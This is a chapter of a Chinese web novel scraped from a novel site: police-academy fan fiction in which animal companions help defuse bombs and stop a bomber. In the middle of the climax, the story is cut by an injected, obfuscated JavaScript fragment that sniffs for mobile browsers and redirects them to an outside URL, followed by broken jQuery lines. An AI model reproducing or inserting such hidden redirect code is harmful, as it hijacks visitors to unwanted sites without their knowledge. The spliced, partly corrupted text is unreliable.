风竹小说 > 都市言情 > 真的假的,我养警校组? > 21.第 21 章
    一路狂奔到了警校。

    五人组不明所以地看着他气还没喘匀就紧张兮兮地检查了一番金平糖。

    “有没有事,是不是有奇怪的人想对你做什么?”

    金平糖爪子环住他的脖颈,蹭蹭他的脸表示自己没事,镜饼向他解释了下刚才发生的事。

    降谷零出声询问:“是有什么问题吗?”

    刚刚五小只的状态确实不对劲,但刚才的洗衣店老板和他们还算熟悉,常来警校收送他们的衣物。

    只是看了下警惕的五小只,举动也算正常,他们想不通鹿野司为什么会这么紧张。

    鹿野司不知道该怎么和他们解释自己通过游戏得知金平糖有危险,只能说是直觉。

    “哈?这种解释烂透了啊。”松田阵平叉腰虚着眼看他。

    “不是有父母能感受到孩子有危险的说法吗。啊,我是直接跑出来的,店里现在没人,我先回去了!”他说完就带着五小只迅速开溜。

    五小只最早的记忆是在六个月前,也就是鹿野司得到这部手机的时候,这样算来它们实际才六个月大。

    没来到鹿野司身边前它们就生活在家园里,今天还是第一次见到外守老板,它们也想不通为什么有这么强烈的排斥感。

    不过可以肯定的是,那个人不是什么好人,五小只讨论后决定主动出击,轮班盯梢他,调查他身上的秘密。

    ——

    松田阵平捡起班旗,发现上面有一连串黑黑的小猫爪印,那爪印还散发着一股恶臭,和镜饼恶作剧留在他裤子上的小爪印天差地别。

    “这是屎!别跑,你这个臭猫!”

    野猫被他的喊声惊到,迈开四条细长的腿三两下窜上围墙。

    本以为逃出生天,却不想有一个高大的身影逆着光正蹲在前面。

    它认得这只猫,就是常给它们送食物的两脚兽家里的,它们要是有碰瓷那个两脚兽的想法就会被它敲脑袋。

    那小猫一个激灵,惨叫一声,脚一滑掉了下去,好在猫比较灵活,及时调整好身形才平稳落地。

    每天好吃好喝所以长的敦实,蹲在墙上看戏的镜饼:?

    松田阵平趁机拎起那只野猫,在它额头上弹了一下当做惩罚就放走了它,小猫骂骂咧咧地给了他一爪子,一溜烟跑没影了。

    “嘶,下次别让我再遇到你。”

    镜饼歪头看着松田阵平对一只小猫放狠话。

    “咪呜。”

    真是幼稚的家伙。

    “你那种眼神又是什么意思啊。”

    镜饼看向一旁装作没听见。

    “真是的。对了,你们这几天在干什么,怎么都不见影。”

    镜饼咪呜咪呜一通,跟他解释。

    松田阵平捂住头,他真是不长记性,这几个小家伙通人性没错,但他们不通它们的语言,没有司君在沟通还是很困难。

    司君到底是怎么养它们的?

    “嘤嘤。”

    小水獭高频的叫声穿过围墙。

    是金平糖来找它了,镜饼没立刻下去,而是坐在围墙上和它交流了几句。

    一个长条形的东西被抛上来,精准落到镜饼伸出的爪子上。

    “咪呜。”

    给你。

    小猫伸爪子把那东西递给他,是一包创口贴。

    “喵呜喵呜。”

    要把伤口处理好哦,拜拜。

    小猫挥一挥肉垫留下几根米色毛毛,留下呆呆的松田阵平。

    ——

    在五小只严密的盯梢下,它们发现了外守一行为的异常,这两天很少外出,甚至今天上午还暂停了营业,在一楼捣鼓着什么。

    当时盯梢的是伊达卷,怕打草惊蛇,它是等到外守一上二楼才进里面探查情况。

    一楼的所有洗衣机内部都安装了炸弹,还是串联的形式。

    收到消息赶来的松子糖借助自己身形的优势潜入二楼,发现了一个昏迷的小女孩,外守一则守在小女孩身边。

    在五小只商量如何救下小女孩的时候,警校五人组也推理出外守一就是杀害诸伏景光父母的凶手,联想到最近失踪的小女孩神似诸伏景光幼时的玩伴——外守一去世的女儿外守有理,赶到了洗衣店。

    “抓野猫的时候,我的手指伤到了,拆不了弹,让hagi来吧。”松田竖起被裹得严实的指头。

    “关于这个,我的手也受伤了。”萩原研二摸了下后颈,露出也被包扎过的手指。

    “我在帮小阵平抓猫的时候也被抓伤了。”

    松田阵平拿着班旗和萩原研二吐槽的时候,那只越想越气的野猫又窜了出来想偷袭松田阵平,这下彻底惹毛了松田阵平,他叫上幼驯染誓要让那只猫好看。

    虽然最后是抓到了那只猫,但他和萩原研二都负伤了。

    萩原研二和松田阵平看向降谷零。

    降谷零面露难色:“我来拆吗?”

    “没事的,我和hagi指导你,诸伏你和班长快上去吧。”

    松田阵平直接推着他走到炸弹前,诸伏景光和伊达航对他们颔首后就往二楼去了。

    “没有工具怎么拆啊。”降谷零苦恼。

    “吱。”

    给。

    一个比寻常小一号的工具箱被递到他手边。

    “你怎么在这里!”三人被突然出现的松子糖吓了一大跳。

    “嗯呜。”

    先拆弹啊。

    萩饼也突然冒出来,戳了下降谷零的后腰又指指倒计时正在减少的炸弹。

    被提醒了正事,降谷零强迫自己收拢思绪,接过松子糖的工具箱开始拆弹。

    另一边,外守一拿着炸弹遥控器,威胁着伊达航和诸伏景光。

    “我马上就可以和我的有里一起离开了,没人能再把我们父女分开!”外守一神色癫狂,挥舞着手里的遥控器。

    “我当时看见你了,你知道我为什么没杀你吗?因为你是有里的好朋友,我知道,只要跟着你,我就能找到我的有里。”他的眼神在看向怀里昏睡的小女孩时一瞬间变得慈爱,但是面部的肌肉没能那么快的放松,显得他更加可怖。

    “郊游那天,有里和我说你和她吵架了……”

    外守一像是想起了什么,手也颤抖起来。

    就是现在!

    凌厉的侧踢腿划破空气带起一阵劲风。

    炸弹遥控器沿着弧线脱离了外守一的手。

    他手脚并用地往前爬要去捡起遥控器。

    咔擦——

    一道黑影抓着屋檐,蓄力摆荡,直接打碎了玻璃

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347611|182783||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    一跃而下,重重砸在外守一的背上。

    “咳呃!”

    外守一被这突然的重击砸的眼前一黑,差点昏死过去。

    “金平糖!”诸伏景光放下挡玻璃碎片的双臂。

    它抬头,眉头垂下,那双圆润的豆豆眼变得细长,像是长年累月生活在野外的猎手,诸伏景光一时竟不敢上前。

    它眨了下眼,厉色褪去,它又恢复了往常的温和,愧疚地轻握住他被玻璃碎片划出细痕的手,不过从外守一身上下来时用力蹬了一脚。

    镜饼跟在后面,从刚才的豁口跳进屋里,把嘴里叼着的麻绳递给诸伏景光让他把人绑起来。

    它们怎么会出现在这里,还准备的这么充分?虽然满腹疑问但他还是先绑住了外守一。

    外守一被扶起来后就垂着头,不说话也不挣扎,任由诸伏景光摆弄。

    “有理后面说,她会回去和爸爸道歉,再和爸爸一起出去郊游。”

    他身形好像更加佝偻了,不住呢喃:“有理,有理,是爸爸错了……”

    “现在几点了?”下楼梯的路上,他突然从自己的世界回神。

    “快四点半了。”诸伏景光答道。

    “四点半了啊。”他自言自语道,“就让我亲自去和你的父母道歉吧。”

    “轰——”

    热浪从二楼直冲而下,携卷着建筑粉碎的残渣企图抓住走在最后的诸伏景光。

    在他抬手阻挡爆炸气浪和杂物时,他被重重撞了一下,身子侧向一边,让出了供一人过的空档,外守一迎着热浪冲向二楼。

    糟了!

    “汪!”

    矫健的红棕色飞扑向他,将他扑倒,任凭火焰再怎样贪婪地伸手都没够到他。

    伊达卷露出獠牙,死死叼住外守一的衣领,把他拖回人间。

    一行人逃出建筑,松子糖第一件事就是上去给了外守一一掌,小小的一只仓鼠踩在他胸口,揪着他的领子,居然把他的头拎离了地面。

    “吱吱吱!”

    清醒了吗?感到悔恨了吗?你以为你去死就可以抵消你之前做的恶吗?被你伤害的人又该怎么办!

    诸伏景光竟然奇迹般听懂了松子糖的话,每一个字每一句话都清晰的不能再清晰。

    “啪!”

    又是一掌,不过是来自镜饼。

    诸伏景光心绪复杂,每当午夜梦回,浓郁到令他窒息的铁锈味一点一点侵袭他,恐惧包绕他,在那之下的则是沸腾的恨意。

    不过他善良的本性不允许他做出复仇的事,他只会将犯人绳之以法。也许心底还是会有残存的恨意,但是友人们的关切和五小只的抱不平冲淡了最后的恨,他不再是当年孤立无援孩子了。

    ——

    接到电话的鹿野司先是夸奖了一番五小只的正义救援,然后罚了它们三天没有小零食。

    因为事后才告诉他的行为是不可取的,天知道他听说这次甚至有炸弹的时候心脏都要停跳了,然后顺道给五人组解释了下五小只为什么会出现的那么及时。

    “惨了,浴室还没打扫完!”夕阳西下,本该是一副令人感叹的美景,萩原研二却只能想起教官的警告。

    橙红色的幕布之下,五个慌张狂奔的身影为这一场跌宕起伏的剧目画下圆满的句号